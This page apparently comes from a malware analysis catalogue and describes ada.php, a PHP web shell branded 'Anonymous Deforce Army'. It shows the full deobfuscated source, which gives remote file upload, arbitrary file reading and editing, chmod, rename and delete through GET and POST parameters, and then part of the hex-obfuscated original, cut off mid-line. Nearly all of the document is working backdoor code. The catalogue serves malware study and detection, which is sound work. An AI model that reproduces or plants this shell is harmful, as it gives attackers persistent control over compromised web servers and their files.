PHP Malware Analysis

Back to list

Filename: ada.php

Tags

URLs
Title
  • ~[ Anonymous Deforce Army ]~
Input
  • _GET
  • _POST
  • _FILES
Environment
  • set_time_limit
  • error_reporting
  • getcwd
Files
  • file_get_contents
  • copy

Deobfuscated code

<?php

$GLOBALS["hnobbvwsr"] = "info";
$GLOBALS["hoznci"] = "perms";
$GLOBALS["dnjpkfuuybbs"] = "file";
$GLOBALS["yxubekzdxki"] = "size";
$GLOBALS["mtcrpohult"] = "scandir";
$GLOBALS["mhqgdkmmkh"] = "dir";
$GLOBALS["ikmauqkwdsb"] = "fp";
$GLOBALS["eulzobjcvt"] = "i";
$GLOBALS["qeuaxjmbei"] = "pat";
$GLOBALS["ewwxmlvq"] = "id";
$GLOBALS["jlsuzcwlsr"] = "paths";
$GLOBALS["vxdyvfgdu"] = "path";
$skkcaqokei = "paths";
$GLOBALS["sovfeor"] = "value";
$GLOBALS["msupvsmvbh"] = "key";
error_reporting(0);
set_time_limit(0);
if (get_magic_quotes_gpc()) {
    foreach ($_POST as $key => $value) {
        $rgwyfogarg = "value";
        $_POST[${$GLOBALS["msupvsmvbh"]}] = stripslashes($value);
    }
}
echo "<!DOCTYPE HTML>\n<html>\n<iframe width=\"0%\" height=\"0\" scrolling=\"no\" frameborder=\"no\" loop=\"true\" allow=\"autoplay\" src=\"https://e.top4top.net/m_1090veecd1.mp3\"></iframe>\n<head>\n<link rel=\"shortcut icon\" href=\"https://i.imgur.com/bWgfa6Z.jpg\" type=\"image/jpg\"> \n<body bgcolor=\"black\"><center>\n\t\n<audio autoplay=\"autoplay\" controls=\"controls\" src=\"http://m1510.wapka-file.com//g02/music/47808594/4103415/13847TA6ieLsG75gzsZWqEwb2BM5LZlyWRmXkEWMz1Yk3tAdHw/32813.mp3\" type=\"audio/mpeg\"></audio>\n\n<link href=\"\" rel=\"stylesheet\" type=\"text/json_decode\">\n<title>~[ Anonymous Deforce Army ]~</title>\n<style>\n\t\nbody{\nbackground-colour: green;\n}\n#content tr:hover{\nbackground-color: blue;\ntext-shadow:0px 0px 12px #fff;\n}\n#content .first{\nbackground-colour: red;\n}\ntable{\nborder: 2px #15d6c8 dotted;\n}\na{\ncolor:green;\ntext-decoration: iceland;\n}\na:hover{\ncolor:blue;\ntext-shadow:0px 0px 10px #ffffff;\n}\ninput,select,textarea{\nborder: 1px #c13e1c solid;\n-moz-border-radius: 5px;\n-webkit-border-radius:5px;\nborder-radius:5px;\n}\n</style>\n</head>\n<body>\n     <center><br><br>\n    \t<img border=\"0\" src=\"https://i.imgur.com/bWgfa6Z.jpg\" width=\"240\" height=\"240\">\n      </center>\n    <h3><font color=\"lime\" Mr.KaitoX | Anonymous Deforce Army </h3></font.\n    <div class=\"greetings\">\n        * ANONYMOUS DEFORCE ARMY *\n    </div><br>\n        ~ We Are Legion ~ <br><br>\n    <div class=\"barlink\">\n~ | <a href=\"https://www.facebook.com/AnonymousDeforceArmy/\">FaceBook</a> | ~\n\t<a href=\"https://www.youtube.com/channel/UCJl5SuxvQ6C0uX4uYNGLAxg/videos?view_as=subscriber\">Youtube</a> | ~\n\t<br>\n\t~ | <a href=\"https://hackersid.com/archive/team/AnonymousDeforceArmy\">HackerSid</a> | ~\n\t<a href=\"https://defacer.id/archive/team/AnomymousDeforceArmy\">Defacer-ID</a> | ~\n\t<br>\n~ | <a href=\"https://www.facebook.com/KaitoXspiker\">Kaito Spiker</a> | ~\n    \t<br>\n~ | <a href=\"http://www.github.com/MrKaitoX\">Github</a> | ~\n    </div><br>\n<table width=\"770\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\n<tr><td><font color=\"white\">Path :</font> ";
$qttednhpdeci = "path";
$GLOBALS["wktxixhqrjo"] = "pat";
if (isset($_GET["path"])) {
    ${$GLOBALS["vxdyvfgdu"]} = $_GET["path"];
} else {
    ${$GLOBALS["vxdyvfgdu"]} = getcwd();
}
${$GLOBALS["vxdyvfgdu"]} = str_replace("\\", "/", ${$qttednhpdeci});
${$GLOBALS["jlsuzcwlsr"]} = explode("/", ${$GLOBALS["vxdyvfgdu"]});
foreach (${$skkcaqokei} as ${$GLOBALS["ewwxmlvq"]} => ${$GLOBALS["wktxixhqrjo"]}) {
    $zdleufz = "id";
    $voedns = "pat";
    $GLOBALS["ktehpbljdxvo"] = "i";
    if (${$GLOBALS["qeuaxjmbei"]} == "" && $id == 0) {
        $rthkujr = "a";
        $a = true;
        echo "<a href=\"?path=/\">/</a>";
        continue;
    }
    $cgfcabfbjwb = "pat";
    if (${$voedns} == "") {
        continue;
    }
    echo "<a href=\"?path=";
    for (${$GLOBALS["ktehpbljdxvo"]} = 0; ${$GLOBALS["eulzobjcvt"]} <= ${$GLOBALS["ewwxmlvq"]}; ${$GLOBALS["eulzobjcvt"]}++) {
        echo "{$paths[$i]}";
        $GLOBALS["wyameevwffjd"] = "id";
        $GLOBALS["rmqerthjj"] = "i";
        if ($i != $id) {
            echo "/";
        }
    }
    echo "\">" . ${$cgfcabfbjwb} . "</a>/";
}
echo "</td></tr><tr><td>";
if (isset($_FILES["file"])) {
    $ywvdbym = "path";
    if (copy($_FILES["file"]["tmp_name"], $path . "/" . $_FILES["file"]["name"])) {
        echo "<font color=\"cyan\">Upload Success</font><br />";
    } else {
        echo "<font color=\"red\">Upload Failed :<</font><br/>";
    }
}
echo "<form enctype=\"multipart/form-data\" method=\"POST\">\n<font color=\"white\">File Upload :</font> <input type=\"file\" name=\"file\" />\n<input type=\"submit\" value=\"upload\" />\n</form>\n</td></tr>";
if (isset($_GET["filesrc"])) {
    echo "<tr><td>Current File : ";
    echo $_GET["filesrc"];
    echo "</tr></td></table><br />";
    echo "<pre>" . htmlspecialchars(file_get_contents($_GET["filesrc"])) . "</pre>";
} elseif (isset($_GET["option"]) && $_POST["opt"] != "delete") {
    echo "</table><br /><center>" . $_POST["path"] . "<br /><br />";
    if ($_POST["opt"] == "chmod") {
        if (isset($_POST["perm"])) {
            if (chmod($_POST["path"], $_POST["perm"])) {
                echo "<font color=\"#b8cdea\">[+] Permission Copy :D </font><br/>";
            } else {
                echo "<font color=\"#788fae\">Yah Gagal Ganti Permission :( </font><br />";
            }
        }
        echo "<form method=\"POST\">\nPermission : <input name=\"perm\" type=\"text\" size=\"4\" value=\"" . substr(sprintf("%o", fileperms($_POST["path"])), -4) . "\" />\n<input type=\"hidden\" name=\"path\" value=\"" . $_POST["path"] . "\">\n<input type=\"hidden\" name=\"opt\" value=\"chmod\">\n<input type=\"submit\" value=\"Enter\" />\n</form>";
    } elseif ($_POST["opt"] == "ganti nama") {
        if (isset($_POST["newname"])) {
            if (rename($_POST["path"], ${$GLOBALS["vxdyvfgdu"]} . "/" . $_POST["newname"])) {
                echo "<font color=\"\">success name copy :v</font><br/>";
            } else {
                echo "<font color=\"red\">Ganti Nama Gagal</font><br />";
            }
            $_POST["name"] = $_POST["newname"];
        }
        echo "<form method=\"POST\">\nNew Name : <input name=\"newname\" type=\"text\" size=\"20\" value=\"" . $_POST["name"] . "\" />\n<input type=\"hidden\" name=\"path\" value=\"" . $_POST["path"] . "\">\n<input type=\"hidden\" name=\"opt\" value=\"rename\">\n<input type=\"submit\" value=\"Go\" />\n</form>";
    } elseif ($_POST["opt"] == "edit") {
        if (isset($_POST["src"])) {
            $ckeehoo = "fp";
            $fp = fopen($_POST["path"], "w");
            if (fwrite(${$GLOBALS["ikmauqkwdsb"]}, $_POST["src"])) {
                echo "<font color=\"green\">Edit</font><br/>";
            } else {
                echo "<font color=\"red\">Failed Edit :(</font><br/>";
            }
            fclose(${$GLOBALS["ikmauqkwdsb"]});
        }
        echo "<form method=\"POST\">\n<textarea cols=80 rows=20 name=\"src\">" . htmlspecialchars(file_get_contents($_POST["path"])) . "</textarea><br />\n<input type=\"hidden\" name=\"path\" value=\"" . $_POST["path"] . "\">\n<input type=\"hidden\" name=\"opt\" value=\"edit\">\n<input type=\"submit\" value=\"Save\" />\n</form>";
    }
    echo "</center>";
} else {
    $jbfwxfpv = "dir";
    $rxlyrbgdnw = "file";
    echo "</table><br/><center>";
    $cuzzbnxcl = "scandir";
    if (isset($_GET["option"]) && $_POST["opt"] == "delete") {
        if ($_POST["type"] == "dir") {
            if (rmdir($_POST["path"])) {
                echo "<font color=\"green\">Directory Removed :V </font><br/>";
            } else {
                echo "<font color=\"red\">Directory Delete Failed :V                                                                                                                                                                                                                                                                                            </font><br/>";
            }
        } elseif ($_POST["type"] == "file") {
            if (unlink($_POST["path"])) {
                echo "<font color=\"green\">File Successfully Removed</font><br/>";
            } else {
                echo "<font color=\"red\">File Failed To Delete :(</font><br/>";
            }
        }
    }
    echo "</center>";
    ${$cuzzbnxcl} = scandir(${$GLOBALS["vxdyvfgdu"]});
    echo "<div id=\"content\"><table width=\"800\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\n<tr class=\"first\">\n<td><center>[+] Names [+]</SCA></center></td>\n<td><center>[+] Bites [+]</SCA></center></td>\n<td><center>[+] Permission Copy [+]</peller></center></td>\n<td><center>[+] Modified [+]</SCA></center></td>\n</tr>";
    $xhmfwzquq = "scandir";
    foreach ($scandir as ${$jbfwxfpv}) {
        $GLOBALS["eapbhplx"] = "dir";
        $GLOBALS["djmtyvkfoloe"] = "dir";
        $koptfrz = "path";
        $zlgbwbemuaf = "path";
        if (!is_dir($path . "/" . ${$GLOBALS["mhqgdkmmkh"]}) || ${$GLOBALS["mhqgdkmmkh"]} == "." || ${$GLOBALS["mhqgdkmmkh"]} == "..") {
            continue;
        }
        $biuqwmkto = "dir";
        echo "<tr>\n<td><a href=\"?path=" . ${$GLOBALS["vxdyvfgdu"]} . "/" . $dir . "\">" . ${$GLOBALS["djmtyvkfoloe"]} . "</a></td>\n<td><center>--</center></td>\n<td><center>";
        $ftmfieskny = "path";
        if (is_writable(${$GLOBALS["vxdyvfgdu"]} . "/" . ${$GLOBALS["eapbhplx"]})) {
            echo "<font color=\"green\">";
        } elseif (!is_readable(${$GLOBALS["vxdyvfgdu"]} . "/" . ${$GLOBALS["mhqgdkmmkh"]})) {
            echo "<font color=\"red\">";
        }
        echo perms(${$zlgbwbemuaf} . "/" . ${$GLOBALS["mhqgdkmmkh"]});
        if (is_writable(${$GLOBALS["vxdyvfgdu"]} . "/" . ${$GLOBALS["mhqgdkmmkh"]}) || !is_readable(${$ftmfieskny} . "/" . ${$GLOBALS["mhqgdkmmkh"]})) {
            echo "</font>";
        }
        echo "</center></td>\n<td><center><form method=\"POST\" action=\"?option&path=" . ${$GLOBALS["vxdyvfgdu"]} . "\">\n<select name=\"opt\">\n<option value=\"\"> Menu </option>\n<option value=\"delete\">[+] Delete [+]</option>\n<option value=\"chmod\">[+] Chmod [+]</option>\n<option value=\"rename\">[+] Rename [+]</option>\n</select>\n<input type=\"hidden\" name=\"type\" value=\"dir\">\n<input type=\"hidden\" name=\"name\" value=\"" . ${$GLOBALS["mhqgdkmmkh"]} . "\">\n<input type=\"hidden\" name=\"path\" value=\"" . ${$GLOBALS["vxdyvfgdu"]} . "/" . ${$GLOBALS["mhqgdkmmkh"]} . "\">\n<input type=\"submit\" value=\">\">\n</form></center></td>\n</tr>";
    }
    echo "<tr class=\"first\"><td></td><td></td><td></td><td></td></tr>";
    foreach (${$GLOBALS["mtcrpohult"]} as ${$rxlyrbgdnw}) {
        $xobtrni = "file";
        $spyeig = "size";
        $pewrqmua = "file";
        $GLOBALS["rrvlvmjyi"] = "size";
        $GLOBALS["tvwewn"] = "file";
        if (!is_file(${$GLOBALS["vxdyvfgdu"]} . "/" . $file)) {
            continue;
        }
        $GLOBALS["zdvxuh"] = "path";
        $GLOBALS["tljbtb"] = "path";
        $thwitticf = "path";
        $vllgvpto = "path";
        $GLOBALS["fgitdjdys"] = "file";
        $GLOBALS["frahkxtlsums"] = "file";
        $tytfqpmpq = "file";
        $GLOBALS["adxqhiql"] = "file";
        ${$spyeig} = filesize($path . "/" . ${$pewrqmua}) / 1024;
        ${$GLOBALS["yxubekzdxki"]} = round(${$GLOBALS["yxubekzdxki"]}, 3);
        $GLOBALS["qyltcfbnw"] = "path";
        if (${$GLOBALS["rrvlvmjyi"]} >= 1024) {
            $niukvtmibzq = "size";
            $pgxjmkw = "size";
            $size = round($size / 1024, 2) . " MB";
        } else {
            ${$GLOBALS["yxubekzdxki"]} .= " KB";
        }
        echo "<tr>\n<td><a href=\"?filesrc=" . ${$GLOBALS["vxdyvfgdu"]} . "/" . ${$GLOBALS["dnjpkfuuybbs"]} . "&path=" . ${$GLOBALS["vxdyvfgdu"]} . "\">" . ${$xobtrni} . "</a></td>\n<td><center>" . ${$GLOBALS["yxubekzdxki"]} . "</center></td>\n<td><center>";
        if (is_writable(${$GLOBALS["vxdyvfgdu"]} . "/" . ${$GLOBALS["dnjpkfuuybbs"]})) {
            echo "<font color=\"green\">";
        } elseif (!is_readable(${$thwitticf} . "/" . ${$GLOBALS["dnjpkfuuybbs"]})) {
            echo "<font color=\"red\">";
        }
        echo perms(${$GLOBALS["tljbtb"]} . "/" . ${$GLOBALS["dnjpkfuuybbs"]});
        if (is_writable(${$GLOBALS["vxdyvfgdu"]} . "/" . ${$GLOBALS["fgitdjdys"]}) || !is_readable(${$GLOBALS["zdvxuh"]} . "/" . ${$GLOBALS["frahkxtlsums"]})) {
            echo "</font>";
        }
        echo "</center></td>\n<td><center><form method=\"POST\" action=\"?option&path=" . ${$GLOBALS["vxdyvfgdu"]} . "\">\n<select name=\"opt\">\n<option value=\"\"> Menu </option>\n<option value=\"delete\">[+] Delete [+]</option>\n<option value=\"chmod\">[+] Chmod [+]</option>\n<option value=\"rename\">[+] Rename [+]</option>\n<option value=\"edit\">[+] Edit [+]</option>\n</select>\n<input type=\"hidden\" name=\"type\" value=\"file\">\n<input type=\"hidden\" name=\"name\" value=\"" . ${$tytfqpmpq} . "\">\n<input type=\"hidden\" name=\"path\" value=\"" . ${$GLOBALS["qyltcfbnw"]} . "/" . ${$GLOBALS["adxqhiql"]} . "\">\n<input type=\"submit\" value=\">\">\n</form></center></td>\n</tr>";
    }
    echo "</table>\n</div>";
}
echo "<center><br/><size=\"6\"Anonymous Deforce Army 2018</center>\n</body>\n</html>";
function perms($file)
{
    $mkogjbht = "perms";
    $wrgkkeb = "perms";
    $GLOBALS["uaypyow"] = "perms";
    $GLOBALS["txoeoxenpub"] = "info";
    $bnyvmteunais = "perms";
    $igroxrzx = "perms";
    $krbzrrftafj = "perms";
    $khjbxtqhh = "file";
    $dfaekzvqlb = "perms";
    $GLOBALS["cwfetnrucps"] = "perms";
    $GLOBALS["vnxpwrr"] = "perms";
    $perms = fileperms($file);
    $GLOBALS["xgibxkgqlz"] = "perms";
    $GLOBALS["quhibvyrsly"] = "perms";
    $rbxeiploee = "info";
    $GLOBALS["bqhgemsm"] = "perms";
    $uxrnovaqcoj = "perms";
    $vzwepzhkmxm = "info";
    $vmhkqqxym = "perms";
    if (($perms & 0xc000) == 0xc000) {
        $GLOBALS["hbtjjgjmjhdg"] = "info";
        $info = "s";
    } elseif ((${$GLOBALS["hoznci"]} & 0xa000) == 0xa000) {
        $GLOBALS["velkkizvanw"] = "info";
        $info = "l";
    } elseif (($perms & 0x8000) == 0x8000) {
        ${$GLOBALS["hnobbvwsr"]} = "-";
    } elseif ((${$GLOBALS["hoznci"]} & 0x6000) == 0x6000) {
        $GLOBALS["cjlyyhvcdd"] = "info";
        $info = "b";
    } elseif ((${$GLOBALS["hoznci"]} & 0x4000) == 0x4000) {
        ${$GLOBALS["hnobbvwsr"]} = "d";
    } elseif ((${$igroxrzx} & 0x2000) == 0x2000) {
        $GLOBALS["skghbex"] = "info";
        $info = "c";
    } elseif (($perms & 0x1000) == 0x1000) {
        ${$GLOBALS["hnobbvwsr"]} = "p";
    } else {
        ${$GLOBALS["hnobbvwsr"]} = "u";
    }
    $GLOBALS["snbkxlvqmtrk"] = "perms";
    ${$GLOBALS["hnobbvwsr"]} .= ${$krbzrrftafj} & 0x100 ? "r" : "-";
    ${$GLOBALS["hnobbvwsr"]} .= ${$GLOBALS["hoznci"]} & 0x80 ? "w" : "-";
    ${$GLOBALS["hnobbvwsr"]} .= ${$GLOBALS["hoznci"]} & 0x40 ? ${$wrgkkeb} & 0x800 ? "s" : "x" : ($perms & 0x800 ? "S" : "-");
    $whcixnly = "perms";
    ${$GLOBALS["hnobbvwsr"]} .= ${$GLOBALS["hoznci"]} & 0x20 ? "r" : "-";
    ${$GLOBALS["hnobbvwsr"]} .= $perms & 0x10 ? "w" : "-";
    $info .= $perms & 0x8 ? $perms & 0x400 ? "s" : "x" : (${$uxrnovaqcoj} & 0x400 ? "S" : "-");
    ${$GLOBALS["hnobbvwsr"]} .= ${$GLOBALS["hoznci"]} & 0x4 ? "r" : "-";
    $GLOBALS["emufgewndcv"] = "info";
    ${$vzwepzhkmxm} .= ${$vmhkqqxym} & 0x2 ? "w" : "-";
    ${$rbxeiploee} .= ${$dfaekzvqlb} & 0x1 ? ${$whcixnly} & 0x200 ? "t" : "x" : ($perms & 0x200 ? "T" : "-");
    return $info;
}


Original code

<?php ${"GLO\x42ALS"}["\x68no\x62bv\x77\x73r"]="i\x6e\x66\x6f";${"G\x4cO\x42\x41\x4c\x53"}["\x68\x6f\x7a\x6eci"]="\x70\x65r\x6ds";${"\x47\x4c\x4f\x42AL\x53"}["\x64\x6ej\x70\x6b\x66\x75\x75\x79b\x62\x73"]="f\x69\x6ce";${"\x47L\x4f\x42A\x4c\x53"}["\x79\x78ub\x65k\x7ad\x78k\x69"]="s\x69ze";${"\x47\x4cOB\x41\x4c\x53"}["mtc\x72\x70\x6fhu\x6c\x74"]="\x73\x63\x61\x6e\x64\x69r";${"\x47\x4c\x4f\x42AL\x53"}["\x6d\x68\x71g\x64km\x6d\x6b\x68"]="\x64\x69r";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["i\x6b\x6d\x61u\x71\x6b\x77ds\x62"]="\x66\x70";${"\x47L\x4f\x42AL\x53"}["eu\x6c\x7aob\x6ac\x76\x74"]="\x69";${"\x47\x4c\x4f\x42\x41LS"}["\x71\x65\x75\x61\x78\x6a\x6d\x62ei"]="p\x61\x74";${"\x47\x4c\x4f\x42AL\x53"}["\x65\x77w\x78m\x6cv\x71"]="i\x64";${"\x47L\x4fBAL\x53"}["\x6a\x6c\x73uz\x63\x77\x6c\x73\x72"]="\x70at\x68s";${"G\x4c\x4f\x42A\x4cS"}["\x76\x78\x64\x79v\x66\x67\x64\x75"]="p\x61\x74h";$skkcaqokei="pa\x74h\x73";${"G\x4c\x4fB\x41\x4cS"}["sovf\x65o\x72"]="v\x61l\x75e";${"GLO\x42\x41\x4cS"}["\x6d\x73\x75p\x76\x73m\x76b\x68"]="\x6be\x79";error_reporting(0);set_time_limit(0);if(get_magic_quotes_gpc()){foreach($_POST as${${"G\x4c\x4f\x42ALS"}["ms\x75p\x76sm\x76\x62\x68"]}=>${${"\x47\x4c\x4f\x42\x41LS"}["\x73\x6f\x76\x66\x65\x6fr"]}){$rgwyfogarg="v\x61\x6c\x75\x65";$_POST[${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["m\x73\x75\x70\x76\x73m\x76b\x68"]}]=stripslashes(${$rgwyfogarg});}}echo"\x3c\x21D\x4fCT\x59PE\x20H\x54M\x4c\x3e\n<\x68t\x6d\x6c>\n\x3ci\x66\x72a\x6d\x65 \x77idth\x3d\"\x30%\"\x20\x68\x65\x69g\x68\x74\x3d\x220\" \x73c\x72o\x6cling\x3d\"\x6eo\" f\x72a\x6debo\x72der\x3d\"\x6e\x6f\x22\x20l\x6fop\x3d\"t\x72ue\"\x20\x61l\x6co\x77\x3d\x22\x61ut\x6f\x70\x6c\x61y\x22 src\x3d\x22ht\x74\x70s://e.\x74\x6f\x70\x34t\x6f\x70.ne\x74/m\x5f10\x39\x30v\x65\x65c\x64\x31.\x6dp\x33\">\x3c/\x69\x66\x72\x61\x6de>\n\x3c\x68e\x61d>\n<lin\x6b \x72\x65l=\"s\x68\x6fr\x74\x63ut\x20ic\x6fn\x22\x20\x68r\x65f=\"\x68\x74tps://i.\x69m\x67\x75r.co\x6d/\x62\x57g\x66\x616\x5a\x2e\x6apg\x22\x20\x74ype\x3d\x22im\x61g\x65/\x6a\x70\x67\"> \n\x3c\x62od\x79\x20bgcolo\x72=\"\x62\x6c\x61c\x6b\x22\x3e<\x63\x65n\x74e\x72>\n\t\n<\x61\x75\x64\x69\x6f\x20\x61u\x74op\x6ca\x79\x3d\x22\x61ut\x6f\x70\x6c\x61\x79\x22\x20co\x6et\x72o\x6c\x73\x3d\x22\x63\x6f\x6e\x74\x72\x6f\x6c\x73\" s\x72c=\"h\x74t\x70://m1\x3510\x2e\x77\x61\x70\x6ba-fil\x65\x2ecom//\x670\x32/\x6dusic/\x347\x38\x30\x38\x35\x39\x34/41\x303415/\x313\x3847\x54A6i\x65L\x73G\x375g\x7asZ\x57\x71Ewb\x32B\x4d5L\x5alyW\x52m\x58kEW\x4dz\x31Y\x6b\x33\x74\x41d\x48w/\x3328\x313.mp3\"\x20\x74\x79p\x65\x3d\"audio/\x6d\x70\x65\x67\">\x3c/\x61\x75\x64i\x6f>\n\n\x3clink\x20hr\x65\x66=\"\" \x72e\x6c\x3d\x22s\x74\x79\x6cesh\x65\x65\x74\x22 type\x3d\x22t\x65\x78\x74/j\x73\x6fn_\x64\x65\x63\x6f\x64e\">\n\x3ct\x69\x74\x6ce\x3e~[\x20A\x6e\x6f\x6ey\x6d\x6fus D\x65f\x6f\x72c\x65 \x41\x72\x6dy ]~\x3c/\x74\x69\x74l\x65\x3e\n<\x73\x74\x79le\x3e\n\t\nbo\x64y{\n\x62\x61ckg\x72o\x75\x6ed-\x63ol\x6f\x75r: \x67re\x65n\x3b\n}\n#\x63on\x74e\x6e\x74\x20tr:\x68\x6f\x76\x65\x72{\n\x62a\x63kg\x72o\x75nd-\x63o\x6co\x72:\x20\x62lue\x3b\n\x74e\x78\x74-\x73h\x61d\x6fw:\x30\x70x\x20\x30\x70x \x31\x32px \x23\x66\x66\x66;\n}\n\x23c\x6f\x6e\x74e\x6e\x74 .\x66irst{\nb\x61c\x6b\x67ro\x75nd-\x63\x6flour: \x72\x65d\x3b\n}\nt\x61ble{\n\x62\x6f\x72d\x65r:\x202\x70x \x23\x31\x35\x64\x36\x638 d\x6ftted;\n}\n\x61{\nco\x6c\x6f\x72:\x67\x72\x65en;\n\x74\x65\x78t-decor\x61tion:\x20\x69\x63ela\x6e\x64;\n}\na:\x68o\x76\x65r{\nc\x6f\x6cor:\x62\x6c\x75e\x3b\n\x74e\x78\x74-sha\x64ow:0p\x78\x200\x70\x78 10\x70\x78 \x23\x66\x66ffff;\n}\ni\x6eput,\x73ele\x63\x74,\x74ext\x61r\x65\x61{\n\x62\x6fr\x64er:\x201\x70x\x20\x23\x63\x313e1c so\x6cid\x3b\n-\x6doz-bord\x65r-r\x61\x64\x69\x75s:\x20\x35p\x78;\n-\x77\x65\x62\x6bi\x74-bord\x65r-radiu\x73:5\x70x\x3b\n\x62\x6fr\x64\x65r-ra\x64iu\x73:\x35\x70x\x3b\n}\n</s\x74yl\x65>\n</\x68\x65\x61\x64>\n\x3c\x62ody>\n\x20\x20 \x20\x20<c\x65\x6e\x74\x65r>\x3c\x62r>\x3cbr>\n \x20\x20\x20\t\x3cim\x67\x20bord\x65r\x3d\x22\x30\"\x20\x73\x72\x63\x3d\x22h\x74\x74\x70s://i.img\x75\x72.c\x6f\x6d/\x62\x57g\x66\x616Z\x2ejp\x67\x22\x20wid\x74h\x3d\x22240\x22 \x68\x65igh\x74=\x22\x32\x34\x30\x22>\n \x20\x20\x20 \x20\x3c/\x63e\x6e\x74e\x72\x3e\n \x20  <\x68\x33>\x3cf\x6f\x6et col\x6fr=\x22\x6cime\"\x20Mr\x2eK\x61\x69t\x6f\x58 | Ano\x6e\x79\x6d\x6fu\x73\x20\x44ef\x6fr\x63\x65\x20\x41\x72m\x79 \x3c/h3></\x66o\x6e\x74.\n\x20 \x20\x20<\x64\x69\x76 \x63\x6cass=\"gre\x65t\x69\x6eg\x73\x22>\n  \x20     *\x20\x41\x4e\x4fNYM\x4fU\x53 D\x45\x46\x4f\x52\x43E A\x52M\x59\x20*\n    </\x64\x69\x76\x3e<br\x3e\n\x20   \x20\x20 \x20\x7e\x20\x57\x65\x20\x41r\x65\x20\x4ce\x67\x69o\x6e\x20~ \x3c\x62r><b\x72\x3e\n\x20\x20 \x20<div\x20c\x6c\x61\x73\x73\x3d\x22\x62ar\x6c\x69n\x6b\x22\x3e\n~ | \x3c\x61\x20\x68r\x65f=\"\x68\x74\x74p\x73://\x77w\x77.f\x61ce\x62\x6fok\x2ec\x6f\x6d/\x41n\x6f\x6eym\x6fu\x73D\x65for\x63\x65A\x72\x6dy/\"\x3eFace\x42\x6f\x6f\x6b\x3c/\x61\x3e | ~\n\t\x3c\x61 \x68r\x65\x66=\x22ht\x74p\x73://\x77ww\x2ey\x6f\x75\x74u\x62e\x2e\x63om/\x63\x68anne\x6c/U\x43J\x6c\x35S\x75\x78\x76Q6C0u\x584\x75\x59\x4eGL\x41xg/vi\x64eo\x73?\x76\x69e\x77\x5f\x61\x73\x3ds\x75\x62\x73cri\x62e\x72\">Y\x6f\x75t\x75\x62\x65</a>\x20| ~\n\t\x3cb\x72>\n\t~\x20| <\x61\x20h\x72\x65f\x3d\"ht\x74p\x73://\x68a\x63k\x65r\x73\x69\x64\x2e\x63\x6f\x6d/arc\x68i\x76e/t\x65\x61m/An\x6fnymou\x73\x44\x65\x66\x6fr\x63\x65Ar\x6d\x79\x22>\x48ack\x65r\x53id\x3c/\x61\x3e\x20| ~\n\t\x3ca\x20\x68\x72\x65\x66\x3d\"\x68\x74t\x70s://d\x65\x66\x61\x63e\x72\x2e\x69\x64/a\x72\x63\x68\x69\x76e/\x74e\x61\x6d/A\x6eo\x6d\x79mou\x73\x44\x65fo\x72c\x65\x41\x72my\x22\x3e\x44\x65\x66ac\x65r-\x49\x44</\x61> | \x7e\n\t\x3cb\x72\x3e\n~ | <a \x68\x72\x65\x66\x3d\x22h\x74tps://\x77ww.f\x61c\x65\x62oo\x6b\x2ecom/Ka\x69\x74oX\x73\x70i\x6b\x65\x72\x22>\x4b\x61\x69\x74\x6f S\x70\x69\x6b\x65\x72\x3c/\x61\x3e\x20|\x20~\n \x20\x20 \t\x3cbr>\n\x7e\x20|\x20<\x61\x20h\x72\x65f\x3d\x22h\x74\x74\x70://\x77w\x77\x2e\x67\x69thu\x62.\x63o\x6d/M\x72Ka\x69\x74\x6f\x58\x22\x3e\x47ith\x75\x62\x3c/a>\x20| \x7e\n  \x20\x20\x3c/di\x76\x3e<br\x3e\n\x3cta\x62le\x20\x77\x69\x64t\x68\x3d\"7\x370\" b\x6frder=\"0\" c\x65llp\x61ddi\x6eg\x3d\"\x33\" c\x65l\x6csp\x61cin\x67\x3d\x221\x22 a\x6c\x69g\x6e\x3d\x22\x63e\x6e\x74\x65\x72\x22>\n<t\x72>\x3c\x74\x64\x3e\x3cf\x6fn\x74 color\x3d\x22\x77h\x69\x74e\x22>\x50a\x74\x68 :</f\x6fnt\x3e ";$qttednhpdeci="\x70at\x68";${"\x47\x4cO\x42\x41\x4c\x53"}["\x77\x6bt\x78i\x78h\x71r\x6a\x6f"]="p\x61\x74";if(isset($_GET["\x70\x61\x74h"])){${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x76\x78\x64\x79vfg\x64\x75"]}=$_GET["\x70\x61th"];}else{${${"\x47L\x4f\x42\x41\x4c\x53"}["\x76\x78d\x79v\x66\x67d\x75"]}=getcwd();}${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x76\x78\x64\x79\x76\x66\x67\x64u"]}=str_replace("\\","/",${$qttednhpdeci});${${"\x47\x4c\x4fBALS"}["\x6a\x6cs\x75\x7ac\x77\x6c\x73\x72"]}=explode("/",${${"GLO\x42\x41\x4cS"}["v\x78\x64\x79\x76f\x67\x64u"]});foreach(${$skkcaqokei} as${${"\x47LOB\x41LS"}["\x65\x77w\x78ml\x76q"]}=>${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x77k\x74x\x69\x78\x68\x71\x72\x6ao"]}){$zdleufz="\x69\x64";$voedns="\x70\x61\x74";${"\x47\x4cOBAL\x53"}["\x6bt\x65\x68\x70\x62l\x6ad\x78\x76\x6f"]="\x69";if(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x71\x65u\x61xj\x6d\x62\x65\x69"]}==""&&${$zdleufz}==0){$rthkujr="\x61";${$rthkujr}=true;echo"\x3ca 